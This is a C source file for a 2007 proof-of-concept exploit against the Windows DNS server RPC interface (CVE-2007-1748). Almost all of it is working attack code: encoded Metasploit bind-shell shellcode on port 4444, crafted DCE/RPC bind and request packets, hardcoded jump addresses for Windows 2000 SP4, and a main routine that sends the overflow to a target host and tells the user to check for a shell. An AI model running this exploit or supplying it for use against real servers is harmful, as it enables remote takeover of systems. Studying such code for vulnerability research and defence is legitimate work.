/* * Copyright (c) 2007 devcode * * * ^^ D E V C O D E ^^ * * Windows DNS DnssrvQuery() Stack Overflow * [CVE-2007-1748] * * * Description: * A vulnerability has been reported in Microsoft Windows, which can * be exploited by malicious people to compromise a vulnerable system. * The vulnerability is caused due to a boundary error in an RPC interface * of the DNS service used for remote management of the service. This can * be exploited to cause a stack-based buffer overflow via a specially * crafted RPC request. The DnssrvQuery function is vulnerable to this stack * overflow. * * * Hotfix/Patch: * None as of this time. * * Vulnerable systems: * Microsoft Windows 2000 Advanced Server * Microsoft Windows 2000 Datacenter Server * Microsoft Windows 2000 Server * Microsoft Windows Server 2003 Datacenter Edition * Microsoft Windows Server 2003 Enterprise Edition * Microsoft Windows Server 2003 Standard Edition * Microsoft Windows Server 2003 Web Edition * Microsoft Windows Storage Server 2003 * * Tested on: * Microsoft Windows 2000 Advanced Server * * This is a PoC and was created for educational purposes only. The * author is not held responsible if this PoC does not work or is * used for any other purposes than the one stated above. * * Notes: * <3 Metasploit for releasing it yesterday, only had time to look at it * this morning. Also props to Winny Thomas. * * There are two ways we can embed shellcode. One is to pad each byte of * the shellcode with '\' and jmp EBX. The other way is the one Winny used * which is to pass in the shellcode as the third argument in the rpc function * and jmp EDX after incrementing it appropriately. I used the latter :) * * ^^ #pen15, InTeL, D-oNe and ps. St0n3y is nub kthxbye * * */ #include #include #pragma comment( lib, "ws2_32" ) /* win32_bind - EXITFUNC=thread LPORT=4444 Size=342 Encoder=PexFnstenvMov http://metasploit.com */ unsigned char uszShellcode[] = "\x6a\x50\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\xd2\xab" "\x1f\x83\xeb\xfc\xe2\xf4\x8a\xb8\x40\x52\x9e\x2b\x54\xe0\x89\xb2" "\x20\x73\x52\xf6\x20\x5a\x4a\x59\xd7\x1a\x0e\xd3\x44\x94\x39\xca" "\x20\x40\x56\xd3\x40\x56\xfd\xe6\x20\x1e\x98\xe3\x6b\x86\xda\x56" "\x6b\x6b\x71\x13\x61\x12\x77\x10\x40\xeb\x4d\x86\x8f\x37\x03\x37" "\x20\x40\x52\xd3\x40\x79\xfd\xde\xe0\x94\x29\xce\xaa\xf4\x75\xfe" "\x20\x96\x1a\xf6\xb7\x7e\xb5\xe3\x70\x7b\xfd\x91\x9b\x94\x36\xde" "\x20\x6f\x6a\x7f\x20\x5f\x7e\x8c\xc3\x91\x38\xdc\x47\x4f\x89\x04" "\xcd\x4c\x10\xba\x98\x2d\x1e\xa5\xd8\x2d\x29\x86\x54\xcf\x1e\x19" "\x46\xe3\x4d\x82\x54\xc9\x29\x5b\x4e\x79\xf7\x3f\xa3\x1d\x23\xb8" "\xa9\xe0\xa6\xba\x72\x16\x83\x7f\xfc\xe0\xa0\x81\xf8\x4c\x25\x81" "\xe8\x4c\x35\x81\x54\xcf\x10\xba\xba\x43\x10\x81\x22\xfe\xe3\xba" "\x0f\x05\x06\x15\xfc\xe0\xa0\xb8\xbb\x4e\x23\x2d\x7b\x77\xd2\x7f" "\x85\xf6\x21\x2d\x7d\x4c\x23\x2d\x7b\x77\x93\x9b\x2d\x56\x21\x2d" "\x7d\x4f\x22\x86\xfe\xe0\xa6\x41\xc3\xf8\x0f\x14\xd2\x48\x89\x04" "\xfe\xe0\xa6\xb4\xc1\x7b\x10\xba\xc8\x72\xff\x37\xc1\x4f\x2f\xfb" "\x67\x96\x91\xb8\xef\x96\x94\xe3\x6b\xec\xdc\x2c\xe9\x32\x88\x90" "\x87\x8c\xfb\xa8\x93\xb4\xdd\x79\xc3\x6d\x88\x61\xbd\xe0\x03\x96" "\x54\xc9\x2d\x85\xf9\x4e\x27\x83\xc1\x1e\x27\x83\xfe\x4e\x89\x02" "\xc3\xb2\xaf\xd7\x65\x4c\x89\x04\xc1\xe0\x89\xe5\x54\xcf\xfd\x85" "\x57\x9c\xb2\xb6\x54\xc9\x24\x2d\x7b\x77\x99\x1c\x4b\x7f\x25\x2d" "\x7d\xe0\xa6\xd2\xab\x1f\x00"; /* 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 */ unsigned char uszDceBind[] = "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00" "\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" "\xA4\xC2\xAB\x50\x4D\x57\xB3\x40\x9D\x66\xEE\x4F\xD5\xFB\xA0\x76" "\x05\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00" "\x2B\x10\x48\x60\x02\x00\x00\x00"; /* DnssrvQuery: opnum 1 */ unsigned char uszDceCall[] = "\x05\x00\x00\x83\x10\x00\x00\x00\x7f\x06\x00\x00\x01\x00\x00\x00" "\x57\x06\x00\x00\x00\x00\x01\x00\xa4\xc2\xab\x50\x4d\x57\xb3\x40" "\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x10\xc2\x40\x00\x02\x00\x00\x00" "\x00\x00\x00\x00\x02\x00\x00\x00\x44\x00\x00\x00\x94\xfa\x13\x00" "\xcc\x04\x00\x00\x00\x00\x00\x00\xcc\x04\x00\x00"; unsigned char uszDceEnd1[] = "\x41\x00\xb8\xc0\x40\x00\x57\x01\x00\x00\x00\x00\x00\x00\x57\x01" "\x00\x00"; unsigned char uszJmps[] = /* 0x77E14C29 - jmp esp user32.dll (Windows 2000 Advanced Server SP4) */ "\x5C\x29\x5C\x4C\x5C\xE1\x5C\x77" /* inc edx, jmp edx */ "\x5C\x42\x5C\x42\x5C\x42\x5C\x42" "\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42" "\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42" "\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42" "\x5C\x42\x5C\xFF\x5C\xE2"; void usage( ) { printf("\n\t\tMicrosoft Windows DNS RPC Stack Overflow\n" "\t\t\t(c) 2007 devcode\n\n" "usage: dns.exe \n"); } int main( int argc, char **argv ) { WSADATA wsaData; SOCKET sConnect; SOCKADDR_IN sockAddr; char szRecvBuf[4096]; unsigned char uszPacket[1663]; int nRet; if ( argc < 3 ) { usage( ); return -1; } if ( WSAStartup( MAKEWORD( 2, 0 ), &wsaData ) != NO_ERROR ) { printf("[-] Unable to startup winsock\n"); return -1; } sConnect = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if ( sConnect == INVALID_SOCKET ) { printf("[-] Invalid socket\n"); return -1; } sockAddr.sin_family = AF_INET; sockAddr.sin_addr.s_addr = inet_addr( argv[1] ); sockAddr.sin_port = htons( atoi( argv[2] ) ); printf("[+] Connecting to %s:%s\n", argv[1], argv[2] ); nRet = connect( sConnect, (SOCKADDR *)&sockAddr, sizeof( sockAddr ) ); if ( nRet == SOCKET_ERROR ) { closesocket( sConnect ); printf("[-] Cannot connect to server\n"); return -1; } printf("[+] Sending DCE Bind packet...\n"); nRet = send( sConnect, (const char *)uszDceBind, sizeof( uszDceBind ) - 1, 0 ); if ( nRet == SOCKET_ERROR ) { closesocket( sConnect ); printf("[-] Cannot send\n"); return -1; } nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 ); if ( nRet <= 0 ) { closesocket( sConnect ); printf("[-] Recv failed\n"); return -1; } memset( uszPacket, 0x5C, sizeof( uszPacket ) ); memcpy( uszPacket, uszDceCall, sizeof( uszDceCall ) - 1 ); memcpy( uszPacket + 1006, uszJmps, sizeof( uszJmps ) - 1 ); memcpy( uszPacket + 1302, uszDceEnd1, sizeof( uszDceEnd1 ) ); memcpy( uszPacket + 1320, uszShellcode, sizeof( uszShellcode ) ); printf("[+] Sending DCE Request packet...\n"); nRet = send( sConnect, (const char *)uszPacket, sizeof( uszPacket ), 0 ); if ( nRet == SOCKET_ERROR ) { closesocket( sConnect ); printf("[-] Cannot send\n"); return -1; } printf("[+] Check shell on port 4444 :)\n"); nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 ); closesocket( sConnect ); return 0; }